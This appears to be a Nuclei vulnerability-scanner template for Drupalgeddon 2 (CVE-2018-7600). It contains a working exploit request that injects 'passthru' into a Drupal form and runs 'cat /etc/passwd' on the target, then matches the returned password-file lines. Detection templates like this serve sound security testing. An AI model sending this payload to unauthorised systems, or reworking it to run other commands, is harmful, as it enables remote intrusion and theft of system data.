id: CVE-2018-7600

info:
  name: Drupal Drupalgeddon 2 RCE
  author: pikpikcu
  severity: critical
  reference: https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600
  tags: cve,cve2018,drupal,rce
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2018-7600
    cwe-id: CWE-20
  description: "Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations."

requests:
  - raw:
      - |
        POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
        Host:  {{Hostname}}
        Accept: application/json
        Referer:  {{Hostname}}/user/register
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663

        -----------------------------99533888113153068481322586663
        Content-Disposition: form-data; name="mail[#post_render][]"

        passthru
        -----------------------------99533888113153068481322586663
        Content-Disposition: form-data; name="mail[#type]"

        markup
        -----------------------------99533888113153068481322586663
        Content-Disposition: form-data; name="mail[#markup]"

        cat /etc/passwd
        -----------------------------99533888113153068481322586663
        Content-Disposition: form-data; name="form_id"

        user_register_form
        -----------------------------99533888113153068481322586663
        Content-Disposition: form-data; name="_drupal_ajax"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - "application/json"
        part: header

      - type: regex
        regex:
          - "root:.*:0:0"
        part: body

      - type: status
        status:
          - 200